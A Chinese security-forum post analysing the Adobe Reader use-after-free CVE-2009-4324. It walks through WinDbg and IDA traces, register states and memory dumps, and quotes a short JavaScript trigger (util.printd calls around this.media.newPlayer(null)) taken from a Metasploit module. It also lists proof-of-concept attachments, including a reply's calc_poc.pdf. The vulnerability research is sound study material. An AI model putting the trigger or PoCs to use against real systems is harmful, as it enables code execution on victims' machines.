文章名称:CVE-2009-4324初步分析
目录:
0x1.漏洞描述
0x2.测试环境
0x3.初步分析
0x3.1.POC样本获取
0x3.2.跟踪调试
0x4.总结

正文:
1.漏洞描述
CVE ID: CVE-2009-4324

Adobe Acrobat和Reader都是非常流行的PDF文件阅读器。

Adobe Reader和Acrobat阅读器支持JavaScript。Doc.media对象的newplayer()方式存在释放后使用漏洞,
可能触发可利用的内存访问破坏。
远程攻击者可以通过使用ZLib压缩流的特制PDF文件来利用这个漏洞,导致执行任意代码。

2.测试环境
系统环境:windws XP SP3_CN
软件环境:Adobe Reader 8.12_CN
工具    :Windbg IDA (本来想用OD,可惜不熟悉)


3.初步分析
3.1.样本获取
从http://downloads.securityfocus.com/vulnerabilities/exploits/adobe_media_newplayer.rb
下载到一个RB文件,导入到Metasploit中,提示有CVE-2009-4324项目
经过一番折腾后,最后得到测试POC样本。
提取出触发漏洞的Javascript 代码,确定关键代码如下:

代码:
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {this.media.newPlayer(null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
查阅网上相关资料,有这么一句:
漏洞起因是Acrobat JS引擎在实现doc.media.newPlayer函数的null参数异常时,
使用到的某指针指向的内存未初始化,准确地说那是一片之前已释放的堆块。

这是网上资料,接下来在调试器中进行跟踪调试
代码:
23827ef8 6a00            push    0
23827efa 6a00            push    0
23827efc 68ecd78f23      push    offset EScript!PlugInMain+0xfc43c (238fd7ec)
23827f01 57              push    edi
23827f02 ffd0            call    eax {Multimedia!PlugInMain+0x40b05 (2d841e82)}

函数 23827f02 call    eax {Multimedia!PlugInMain+0x40b05 (2d841e82)} 
经过27次调用后,执行函数SUB_2D841E82的代码,即漏洞利用函数
此时寄存器状态为:
0:000> r
eax=2d841e82 ebx=23827e5d ecx=032e5ce0 edx=0012fb60 esi=032e5ce0 edi=032e5ce0
eip=23827f02 esp=0012fb40 ebp=0012fbb4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
EScript!PlugInMain+0x26b52:
23827f02 ffd0            call    eax {Multimedia!PlugInMain+0x40b05 (2d841e82)}

可以发现 ecx=esi=edi=032e5ce0
         ebx为一个数字
SUB_2D841E82:
2d841e82 56              push    esi
2d841e83 8b742408        mov     esi,dword ptr [esp+8]
2d841e87 85f6            test    esi,esi
2d841e89 7422            je      Multimedia!PlugInMain+0x40b30 (2d841ead) //相等则跳,这里没有跳转
2d841e8b 56              push    esi
2d841e8c e872fcffff      call    Multimedia!PlugInMain+0x40786 (2d841b03)   //执行这个函数 下面进入这个函数,看下它是如何执行的
2d841e91 85c0            test    eax,eax
2d841e93 59              pop     ecx
2d841e94 7417            je      Multimedia!PlugInMain+0x40b30 (2d841ead)
2d841e96 8b10            mov     edx,dword ptr [eax]
2d841e98 8bc8            mov     ecx,eax
2d841e9a ff5204          call    dword ptr [edx+4]                           //伪造的数据在此处利用
2d841e9d 6a00            push    0
2d841e9f 6870558c2d      push    offset Multimedia!PlugInMain+0xc41f3 (2d8c5570)
2d841ea4 56              push    esi
2d841ea5 e8ead3fdff      call    Multimedia!PlugInMain+0x1df17 (2d81f294)
2d841eaa 83c40c          add     esp,0Ch
2d841ead 66b80100        mov     ax,offset <Unloaded_I.DLL> (00000001)
2d841eb1 5e              pop     esi
2d841eb2 c3              ret



.text:2D841B03 sub_2D841B03    proc near               ; CODE XREF: sub_2D841E82+Ap
.text:2D841B03                                         ; sub_2D8432A1+7B0p ...
.text:2D841B03
.text:2D841B03 arg_0           = dword ptr  4
.text:2D841B03
.text:2D841B03                 push    offset aMediaplayer_th ; "MediaPlayer_This" push offset aMediaplayer_th 
.text:2D841B08                 push    [esp+4+arg_0]   ; 取得MediaPlayer_This的偏移并压入堆栈
.text:2D841B0C                 call    sub_2D81F039     //在此处调用2D81F039这个函数
.text:2D841B11                 pop     ecx
.text:2D841B12                 pop     ecx
.text:2D841B13                 retn
.text:2D841B13 sub_2D841B03    endp



sub_2D81F039:
.text:2D81F039 sub_2D81F039    proc near               ; CODE XREF: _malloc+Ap
.text:2D81F039                                         ; _malloc_0+Ap ...
.text:2D81F039
.text:2D81F039 var_44          = byte ptr -44h
.text:2D81F039 var_4           = dword ptr -4
.text:2D81F039 arg_0           = dword ptr  8
.text:2D81F039 arg_4           = dword ptr  0Ch
.text:2D81F039
.text:2D81F039                 push    ebp
.text:2D81F03A                 mov     ebp, esp
.text:2D81F03C                 sub     esp, 44h
.text:2D81F03F                 lea     eax, [ebp+var_44]
.text:2D81F042                 push    offset sub_2D809C95
.text:2D81F047                 push    eax
.text:2D81F048                 mov     eax, dword_2D90EF58
.text:2D81F04D                 call    dword ptr [eax+8] ; 进入 AcroRd32_950000!ACPushExceptionFrame 函数处理流程
.text:2D81F050                 lea     eax, [ebp+var_44]
.text:2D81F053                 push    0
.text:2D81F055                 push    eax
.text:2D81F056                 call    _setjmp3        ;  调用MSVCR80!__setjmp3进行处理  setjmp3返回值为0
.text:2D81F05B                 add     esp, 10h
.text:2D81F05E                 test    eax, eax
.text:2D81F060                 jnz     short loc_2D81F082
.text:2D81F062                 push    [ebp+arg_4]
.text:2D81F065                 mov     eax, dword_2D90F9DC   //把2D90F9DC地址的值赋值给eax
.text:2D81F06A                 push    [ebp+arg_0]
.text:2D81F06D                 call    dword ptr [eax+23Ch]  // 返回值[eax]中出现提交的数据,[eax]为输入的数据 unicode的形式,
.text:2D81F073                 pop     ecx
.text:2D81F074                 mov     [ebp+var_4], eax       //把参数赋值到[ebp+4]
.text:2D81F077                 mov     eax, dword_2D90EF58
.text:2D81F07C                 pop     ecx
.text:2D81F07D                 call    dword ptr [eax+0Ch] //ACPopExceptionFrame函数处理流程】
.text:2D81F080                 jmp     short loc_2D81F099
.text:2D81F082 ; ---------------------------------------------------------------------------

.text:2D81F098                 pop     ecx
.text:2D81F099
.text:2D81F099 loc_2D81F099:                           ; CODE XREF: sub_2D81F039+47j
.text:2D81F099                 mov     eax, [ebp+var_4]        //把之前保存的地址赋值回EAX
.text:2D81F09C                 leave
.text:2D81F09D                 retn
MSDN上关于setjmp的解释不甚理解,所以就在《UNIX环境高级编程》中文版中查找到相关的介绍,
C语言在windows和unix中是相通的。
setjmp和longjmp函数
在C中,不允许使用跳越函数的goto语句。而执行这种跳转功能的是函数setjmp和longjmp。
这两个函数对于处理发生在很深的嵌套函数调用中的出错情况非常有用。

非局部跳转 setjmp和longjmp函数。非局部表示这不是在
一个函数内的普通的C语言goto语句,而是在栈上跳过若干调用帧,返回到当前函数调用路径
上的一个函数中。
代码:
call    dword ptr [eax+23Ch]:
382dd5c 56              push    esi
2382dd5d 8b742408        mov     esi,dword ptr [esp+8]
2382dd61 57              push    edi
2382dd62 33ff            xor     edi,edi
2382dd64 eb20            jmp     EScript!PlugInMain+0x2c9d6 (2382dd86)
2382dd66 ff742410        push    dword ptr [esp+10h]
2382dd6a ff7610          push    dword ptr [esi+10h]
2382dd5c 56              push    esi
2382dd5d 8b742408        mov     esi,dword ptr [esp+8]
2382dd61 57              push    edi
2382dd62 33ff            xor     edi,edi
2382dd64 eb20            jmp     EScript!PlugInMain+0x2c9d6 (2382dd86)
2382dd66 ff742410        push    dword ptr [esp+10h]
2382dd6a ff7610          push    dword ptr [esi+10h]
2382dd6d e82fb1ffff      call    EScript!PlugInMain+0x27af1 (23828ea1)          //在这个函数中进行处理
2382dd72 8bf8            mov     edi,eax
2382dd74 85ff            test    edi,edi
2382dd76 59              pop     ecx
2382dd77 59              pop     ecx
2382dd78 7510            jne     EScript!PlugInMain+0x2c9da (2382dd8a)
2382dd7a 6a01            push    1
2382dd7c 56              push    esi
2382dd7d e87e21feff      call    EScript!PlugInMain+0xeb50 (2380ff00)
2382dd82 59              pop     ecx
2382dd83 59              pop     ecx
2382dd84 8bf0            mov     esi,eax
2382dd86 85f6            test    esi,esi
2382dd88 75dc            jne     EScript!PlugInMain+0x2c9b6 (2382dd66)
2382dd8a 8bc7            mov     eax,edi
2382dd8c 5f              pop     edi
2382dd8d 5e              pop     esi
2382dd8e c3              ret




2382dd6d call 23828ea1:
23828ea1 33c0            xor     eax,eax
23828ea3 39442404        cmp     dword ptr [esp+4],eax 
23828ea7 7405            je      EScript!PlugInMain+0x27afe (23828eae)  //相等则跳
23828ea9 e92783feff      jmp     EScript!PlugInMain+0xfe25 (238111d5)

238111d5 55              push    ebp
238111d6 8bec            mov     ebp,esp
238111d8 56              push    esi
238111d9 ff750c          push    dword ptr [ebp+0Ch]
238111dc e8dd4bffff      call    EScript!PlugInMain+0x4a0e (23805dbe)
238111e1 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
238111e4 50              push    eax                              //eax=0x10 函数23805dbe的返回值
238111e5 ba0ff00000      mov     edx,offset <Unloaded_I.DLL>+0xf00e (0000f00f)
238111ea e803610400      call    EScript!PlugInMain+0x55f42 (238572f2)
238111ef 8b4d08          mov     ecx,dword ptr [ebp+8]
238111f2 8d5508          lea     edx,[ebp+8]
238111f5 52              push    edx
238111f6 ff750c          push    dword ptr [ebp+0Ch]
238111f9 83e00f          and     eax,0Fh
238111fc ff748140        push    dword ptr [ecx+eax*4+40h]
23811200 8d3481          lea     esi,[ecx+eax*4]
23811203 ff36            push    dword ptr [esi]
23811205 e874600400      call    EScript!PlugInMain+0x55ece (2385727e)  //在此函数中,EAX被清零,即EAX=0
2381120a 83c418          add     esp,18h
2381120d 66837d0800      cmp     word ptr [ebp+8],0
23811212 7408            je      EScript!PlugInMain+0xfe6c (2381121c)
23811214 8b0e            mov     ecx,dword ptr [esi]
23811216 8b44c104        mov     eax,dword ptr [ecx+eax*8+4] ds:0023:0400374c=033e3ab8  //出现提交的数据
2381121a eb02            jmp     EScript!PlugInMain+0xfe6e (2381121e)
2381121c 33c0            xor     eax,eax
2381121e 5e              pop     esi
2381121f 5d              pop     ebp
23811220 c3              ret

23811216 时,寄存器状态
eax=00000000 ebx=23827e5d ecx=04003748 edx=2d8c5580 esi=03ffd998 edi=00000000
eip=23811216 esp=0012fab4 ebp=0012fab8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
EScript!PlugInMain+0xfe66:
23811216 8b44c104        mov     eax,dword ptr [ecx+eax*8+4] ds:0023:0400374c=033e3ab8
0:000> ? ecx+eax*8+4
Evaluate expression: 67123020 = 0400374c
0:000> d ecx+eax*8+4
0400374c  b8 3a 3e 03 c0 14 2e 03-38 3b 84 2d 00 00 00 00  .:>.....8;.-....
0400375c  00 00 00 00 00 00 00 00-18 00 18 00 c0 8c 3f 00  ..............?.
0400376c  00 00 00 00 76 69 73 69-62 6c 65 00 68 3a 00 04  ....visible.h:..
0400377c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0400378c  18 00 18 00 c0 8c 3f 00-00 00 00 00 6f 75 74 65  ......?.....oute
0400379c  72 52 65 63 74 00 00 00-01 00 00 00 00 00 00 00  rRect...........
040037ac  00 00 00 00 00 00 00 00-18 00 18 00 c0 8c 3f 00  ..............?.
040037bc  00 00 00 00 e8 37 00 04-2f 40 84 2d 00 00 00 00  .....7../@.-....
0:000> d 033e3ab8
033e3ab8  31 00 2e 00 33 00 34 00-35 00 36 00 37 00 38 00  1...3.4.5.6.7.8.
033e3ac8  39 00 30 00 31 00 2e 00-33 00 34 00 35 00 36 00  9.0.1...3.4.5.6.
033e3ad8  37 00 38 00 39 00 30 00-31 00 2e 00 33 00 34 00  7.8.9.0.1...3.4.
033e3ae8  35 00 36 00 20 00 3a 00-20 00 31 00 2e 00 33 00  5.6. .:. .1...3.
033e3af8  31 00 2e 00 33 00 34 00-00 00 00 00 00 00 00 00  1...3.4.........
033e3b08  0b 00 0b 00 ea 01 08 04-e8 3c 3f 03 b8 3a 3e 03  .........<?..:>.
033e3b18  b8 3a 3e 03 00 00 00 00-a0 00 00 00 00 00 00 00  .:>.............
033e3b28  00 00 00 00 00 00 00 00-50 c8 2d 03 00 00 00 00  ........P.-.....
0x4.总结
到此,CVE-2009-4324的初步分析就到这里,可以看出程序在23811216处引用了已经被释放的内存,
造成漏洞可以很容易的被利用,
其中还有很多需要理解的地方
1.SetJmp函数是何作用
2.ACPushExceptionFrame 的执行流程如何
3.对此漏洞的形成原因还有待进一步理解

CVE-2009-4324初步分析.pdf
poc.rar [解压密码:pediy]
info.rar

  • 标 题:答复
  • 作 者:momoomo
  • 时 间:2010-01-11 14:30:10

小改了poc到plaintext :)

上传的附件 calc_poc.pdf